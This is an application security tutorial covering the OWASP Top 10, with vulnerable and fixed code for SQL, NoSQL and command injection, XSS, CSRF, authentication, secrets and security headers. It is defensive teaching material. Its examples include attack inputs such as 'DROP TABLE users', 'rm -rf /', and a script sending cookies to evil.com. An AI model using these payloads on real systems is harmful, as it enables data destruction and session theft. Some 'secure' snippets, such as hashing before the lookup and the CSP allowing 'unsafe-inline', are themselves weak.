๐Ÿ›ก๏ธ

Application Security

๐Ÿ‘จโ€๐Ÿณ Chef

Security is not optional

Imagine building a beautiful house but leaving all doors and windows open. No matter how pretty it is, anyone can enter and take everything. Web application security works exactly the same way.

The difference between a junior and senior developer is not just writing code that works, but code that cannot be exploited.


OWASP Top 10: The most critical vulnerabilities

OWASP (Open Web Application Security Project) maintains a list of the 10 most dangerous vulnerabilities. Knowing them is the first step to protecting your application.

#VulnerabilityAnalogy
1Broken Access ControlGiving master keys to everyone
2Cryptographic FailuresStoring passwords on post-its
3InjectionAccepting any package without checking
4Insecure DesignHouse without locks from the blueprint
5Security MisconfigurationLeaving the back door open
6Vulnerable ComponentsUsing defective materials
7Auth FailuresDoorman who lets everyone in
8Software/Data IntegrityNot verifying who modified something
9Logging FailuresNot having security cameras
10SSRFLetting strangers use your phone

Injection Attacks

Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query.

SQL Injection

Analogy: It is like if someone asked for their name to register, and instead of saying "John", they said "John; DELETE ALL RECORDS".

// VULNERABLE - Never do this
const query = `SELECT * FROM users WHERE id = ${userId}`;

// Attacker sends: userId = "1 OR 1=1; DROP TABLE users;--"
// Result: Malicious code executes
// SECURE - Use parameterized queries
const query = 'SELECT * FROM users WHERE id = $1';
const result = await pool.query(query, [userId]);

// With ORMs like Prisma (recommended)
const user = await prisma.user.findUnique({
  where: { id: parseInt(userId) }
});

NoSQL Injection

// VULNERABLE
const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

// Attacker sends: { "username": "admin", "password": { "$gt": "" } }
// This finds any user with password greater than empty string!
// SECURE - Validate and sanitize inputs
import { z } from 'zod';

const loginSchema = z.object({
  username: z.string().min(3).max(50),
  password: z.string().min(8)
});

const { username, password } = loginSchema.parse(req.body);
const user = await User.findOne({ username, password: hashPassword(password) });

Command Injection

// VULNERABLE
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);

// Attacker sends: "google.com; rm -rf /"
// Result: Deletes entire server!
// SECURE - Use execFile with separate arguments
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', sanitizedHost], callback);

// Or better, use specific libraries
import ping from 'ping';
const result = await ping.promise.probe(sanitizedHost);

XSS (Cross-Site Scripting)

XSS allows attackers to inject malicious scripts into web pages viewed by other users.

Analogy: It is like someone being able to put fake stickers in your store that deceive your customers.

Types of XSS

TypeDescriptionExample
StoredScript saved in DBComment with <script>
ReflectedScript in URLMalicious link via email
DOM-basedDOM manipulationdocument.write(location.hash)

Vulnerable vs secure examples

// VULNERABLE - React with dangerouslySetInnerHTML
function Comment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// Attacker saves: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// SECURE - React escapes automatically
function Comment({ text }) {
  return <div>{text}</div>; // Tags are displayed as text
}

// If you need HTML, use DOMPurify
import DOMPurify from 'dompurify';

function Comment({ text }) {
  const clean = DOMPurify.sanitize(text);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// VULNERABLE - Template literals in HTML
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
});

// Attacker visits: /search?q=<script>alert('XSS')</script>
// SECURE - Escape the output
import escapeHtml from 'escape-html';

app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${escapeHtml(req.query.q)}</h1>`);
});

CSRF (Cross-Site Request Forgery)

CSRF tricks authenticated users into executing unwanted actions.

Analogy: Someone forges your signature on a document while you are distracted.

<!-- Malicious site evil.com -->
<img src="https://yourbank.com/transfer?to=hacker&amount=10000" />
<!-- The browser sends cookies automatically! -->

Protection with CSRF tokens

// Backend - Generate token
import csrf from 'csurf';
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // Middleware validates token automatically
  processTransfer(req.body);
});
<!-- Frontend - Include token in forms -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="{{csrfToken}}" />
  <input type="text" name="amount" />
  <button type="submit">Transfer</button>
</form>

SameSite Cookies (Modern defense)

// Configure cookies with SameSite
res.cookie('session', sessionId, {
  httpOnly: true,      // Not accessible from JavaScript
  secure: true,        // HTTPS only
  sameSite: 'strict',  // Not sent in cross-site requests
  maxAge: 3600000      // 1 hour
});

Secure Authentication and Sessions

Password storage

// NEVER - Plain text
const user = { password: 'myPassword123' }; // NEVER!

// NEVER - Weak hashing
const hash = crypto.createHash('md5').update(password).digest('hex');

// ALWAYS - bcrypt with salt
import bcrypt from 'bcrypt';

// When registering
const saltRounds = 12;
const hashedPassword = await bcrypt.hash(password, saltRounds);

// When logging in
const isValid = await bcrypt.compare(inputPassword, hashedPassword);

Secure JWT

import jwt from 'jsonwebtoken';

// Generate token
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  {
    expiresIn: '1h',
    algorithm: 'HS256'
  }
);

// Verify token
try {
  const decoded = jwt.verify(token, process.env.JWT_SECRET);
} catch (error) {
  // Invalid or expired token
}

Secure sessions with Redis

import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';

const redisClient = createClient();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    maxAge: 1000 * 60 * 60 * 24 // 1 day
  }
}));

Sensitive Data Exposure

What should NEVER be in your code

// NEVER in code
const API_KEY = 'sk-1234567890abcdef'; // NEVER!
const DB_PASSWORD = 'superSecretPassword'; // NEVER!

// ALWAYS in environment variables
const API_KEY = process.env.API_KEY;
const DB_PASSWORD = process.env.DB_PASSWORD;

.env and .gitignore

# .env (NEVER in Git)
DATABASE_URL=postgresql://user:pass@localhost:5432/db
JWT_SECRET=your-very-long-random-secret
API_KEY=sk-production-key
# .gitignore
.env
.env.local
.env.*.local
*.pem
*.key

Encrypting sensitive data

import crypto from 'crypto';

const algorithm = 'aes-256-gcm';
const key = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');

function encrypt(text) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv(algorithm, key, iv);

  let encrypted = cipher.update(text, 'utf8', 'hex');
  encrypted += cipher.final('hex');

  const authTag = cipher.getAuthTag();

  return {
    iv: iv.toString('hex'),
    encrypted,
    authTag: authTag.toString('hex')
  };
}

function decrypt({ iv, encrypted, authTag }) {
  const decipher = crypto.createDecipheriv(
    algorithm,
    key,
    Buffer.from(iv, 'hex')
  );
  decipher.setAuthTag(Buffer.from(authTag, 'hex'));

  let decrypted = decipher.update(encrypted, 'hex', 'utf8');
  decrypted += decipher.final('utf8');

  return decrypted;
}

Security Headers

HTTP headers are your first line of defense.

Configuration with Helmet (Express)

import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.yourdomain.com"]
    }
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  }
}));

Headers in Next.js

// next.config.js
const securityHeaders = [
  {
    key: 'X-DNS-Prefetch-Control',
    value: 'on'
  },
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload'
  },
  {
    key: 'X-Frame-Options',
    value: 'SAMEORIGIN'
  },
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff'
  },
  {
    key: 'Referrer-Policy',
    value: 'origin-when-cross-origin'
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline';"
  }
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders
      }
    ];
  }
};

Main headers explained

HeaderFunction
CSPControls what resources the page can load
HSTSForces HTTPS in the browser
X-Frame-OptionsPrevents clickjacking
X-Content-Type-OptionsPrevents MIME sniffing
CORSControls cross-origin requests

Validation and Sanitization

Zod for schema validation

import { z } from 'zod';

// Define schema
const userSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8).regex(/[A-Z]/).regex(/[0-9]/),
  age: z.number().min(18).max(120).optional(),
  role: z.enum(['user', 'admin']).default('user')
});

// Validate in endpoint
app.post('/register', async (req, res) => {
  try {
    const validData = userSchema.parse(req.body);
    // Safe data to use
    await createUser(validData);
  } catch (error) {
    if (error instanceof z.ZodError) {
      return res.status(400).json({ errors: error.errors });
    }
  }
});

HTML sanitization

import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

// Strict configuration
const clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false
});

Dependency Security

npm audit

# Check vulnerabilities
npm audit

# Fix automatically
npm audit fix

# See details of critical vulnerabilities
npm audit --audit-level=critical

Snyk (Recommended)

# Install
npm install -g snyk

# Authenticate
snyk auth

# Scan project
snyk test

# Monitor continuously
snyk monitor

Dependabot on GitHub

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10

Security Testing Tools

ToolTypeUse
OWASP ZAPDASTAutomated web scanning
Burp SuiteProxyAdvanced manual testing
SonarQubeSASTStatic code analysis
SnykSCAVulnerable dependencies
npm auditSCAnpm dependencies
ESLint SecuritySASTJS security rules

ESLint with security rules

// .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    'security/detect-object-injection': 'error',
    'security/detect-non-literal-regexp': 'error',
    'security/detect-unsafe-regex': 'error',
    'security/detect-buffer-noassert': 'error',
    'security/detect-eval-with-expression': 'error',
    'security/detect-no-csrf-before-method-override': 'error'
  }
};

Security checklist

  • Validate and sanitize ALL inputs
  • Use parameterized queries (do not concatenate SQL)
  • Hash passwords with bcrypt (saltRounds >= 12)
  • Implement CSRF tokens or SameSite cookies
  • Configure security headers (CSP, HSTS, etc.)
  • Keep dependencies updated
  • Do not expose secrets in code or logs
  • Use HTTPS in production
  • Implement rate limiting
  • Log security events

Practice

-> Security Audit - Analyze and fix vulnerabilities in an app


Useful links